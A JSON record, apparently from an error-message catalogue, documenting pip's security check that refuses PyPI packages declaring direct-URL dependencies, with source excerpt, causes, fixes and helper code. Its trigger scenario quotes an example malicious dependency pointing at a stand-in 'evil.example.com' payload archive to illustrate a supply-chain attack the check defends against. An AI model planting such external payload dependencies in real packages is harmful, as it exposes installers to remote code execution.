{"record":{"id":"a31ca388c82dec5c","repo":"pypa/pip","slug":"packages-installed-from-pypi-cannot-depend-on-pack","errorCode":null,"errorMessage":"Packages installed from PyPI cannot depend on packages which are not also hosted on PyPI.\n{comes_from.name} depends on {req} ","messagePattern":"Packages installed from PyPI cannot depend on packages which are not also hosted on PyPI\\.\n(.+?) depends on (.+?) ","errorType":"exception","errorClass":"InstallationError","httpStatus":null,"severity":"error","filePath":"src/pip/_internal/req/constructors.py","lineNumber":470,"sourceCode":"    user_supplied: bool = False,\n) -> InstallRequirement:\n    try:\n        req = get_requirement(req_string)\n    except InvalidRequirement as exc:\n        raise InstallationError(f\"Invalid requirement: {req_string!r}: {exc}\")\n\n    domains_not_allowed = [\n        PyPI.file_storage_domain,\n        TestPyPI.file_storage_domain,\n    ]\n    if (\n        req.url\n        and comes_from\n        and comes_from.link\n        and comes_from.link.netloc in domains_not_allowed\n    ):\n        # Explicitly disallow pypi packages that depend on external urls\n        raise InstallationError(\n            \"Packages installed from PyPI cannot depend on packages \"\n            \"which are not also hosted on PyPI.\\n\"\n            f\"{comes_from.name} depends on {req} \"\n        )\n\n    return InstallRequirement(\n        req,\n        comes_from,\n        isolated=isolated,\n        user_supplied=user_supplied,\n    )\n\n\ndef install_req_from_parsed_requirement(\n    parsed_req: ParsedRequirement,\n    isolated: bool = False,\n    user_supplied: bool = False,\n    config_settings: dict[str, str | list[str]] | None = None,","sourceCodeStart":452,"sourceCodeEnd":488,"githubUrl":"https://github.com/pypa/pip/blob/f399c3718970b1b0e2478dac5296eb62679a9b86/src/pip/_internal/req/constructors.py#L452-L488","documentation":"pip enforces a security policy: if a requirement has a direct URL (req.url is set) and it comes from a package that was itself downloaded from PyPI's file storage domain (files.pythonhosted.org), pip refuses to install it. This prevents dependency-confusion and supply-chain attacks where a PyPI package pulls arbitrary code from external URLs.","triggerScenarios":"A package hosted on PyPI declares a dependency with a direct URL in its Requires-Dist, e.g. 'evil @ https://evil.example.com/payload.tar.gz'. When pip resolves dependencies and calls install_req_from_req_string for that dependency, comes_from.link.netloc matches files.pythonhosted.org and the URL requirement triggers the block.","commonSituations":"Installing a PyPI package that legitimately (or maliciously) references an external dependency URL. Legacy packages that pre-date PyPI-only dependency norms. Forks or mirrors that inject URL dependencies.","solutions":["This is enforced security policy and cannot be bypassed for PyPI-hosted packages","Install the external dependency separately and explicitly from a trusted source before installing the main package","Contact the package maintainer to publish the dependency on PyPI","Use --no-deps to skip dependency resolution if you have pre-installed everything (use with caution)"],"exampleFix":null,"handlingStrategy":"try-catch","validationCode":"# This is a policy enforcement; pre-validation means checking if the dependency has a URL\nfrom pip._vendor.packaging.requirements import Requirement\n\ndef has_external_url_dep(req: Requirement) -> bool:\n    \"\"\"Check if a requirement references a direct (non-PyPI) URL.\"\"\"\n    return bool(req.url)","typeGuard":"from pip._vendor.packaging.requirements import Requirement\n\ndef is_pypi_safe_requirement(req: Requirement) -> bool:\n    \"\"\"Returns True if the requirement has no direct URL (safe for PyPI deps).\"\"\"\n    return not req.url","tryCatchPattern":"from pip._internal.exceptions import InstallationError\n\ntry:\n    ireq = install_req_from_req_string(req_string, comes_from=parent_ireq)\nexcept InstallationError as e:\n    if \"cannot depend on packages which are not also hosted on PyPI\" in str(e):\n        logger.warning(\"Security policy blocked external URL dep from %s\", parent_ireq.name)\n        # install the dependency separately from a trusted source\n    else:\n        raise","preventionTips":["Prefer packages whose dependencies are all on PyPI","Use --no-deps and pre-install dependencies from trusted indexes when a package has external URL deps","Audit dependency trees with 'pip-audit' or 'pipdeptree' to detect direct-URL dependencies"],"tags":["pip","pypi","security","dependency-confusion","direct-url"],"backgroundTag":null,"analyzedSha":"f399c3718970b1b0e2478dac5296eb62679a9b86","analyzedAt":"2026-08-08T23:01:42.227Z","contentChangedAt":null,"schemaVersion":2},"datasetVersion":"2026-09-23T08:17:48.524Z"}